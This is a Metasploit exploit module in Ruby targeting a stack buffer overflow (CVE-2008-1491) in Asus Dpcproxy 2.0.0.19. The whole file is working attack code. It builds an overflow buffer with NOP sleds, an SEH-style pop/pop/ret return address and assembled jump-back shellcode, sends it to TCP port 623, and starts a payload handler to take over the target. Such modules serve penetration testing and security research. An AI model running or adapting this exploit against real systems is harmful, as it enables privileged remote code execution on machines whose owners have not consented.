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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = AverageRanking
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  include Msf::Exploit::Remote::Tcp
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Asus Dpcproxy Buffer Overflow',
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      'Description'    => %q{
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          This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.
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          It should be vulnerable until version 2.0.0.24.
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          Credit to Luigi Auriemma
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      },
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      'Author'         => 'Jacopo Cervini',
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      'References'     =>
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        [
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          [ 'CVE', '2008-1491' ],
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          [ 'OSVDB', '43638' ],
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          [ 'BID', '28394' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'process',
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        },
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      'Payload'        =>
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        {
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          'Space'    => 400,
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          'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [ 'Asus Dpcroxy version 2.00.19 Universal',     { 'Ret' => 0x0040273b } ], # p/p/r
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        ],
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      'Privileged'     => true,
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2008-03-21'))
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    register_options([Opt::RPORT(623)])
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  end
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  def exploit
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    connect
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    sploit =   make_nops(0x38a - payload.encoded.length)+ payload.encoded + rand_text_english(6032)
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    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)
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    sploit << [target.ret].pack('V') +  make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string #jmp back
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    sploit << make_nops(50)
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    print_status("Trying target #{target.name}...")
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    sock.put(sploit)
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    select(nil,nil,nil,3) # =(
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    handler
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    disconnect
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  end
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end
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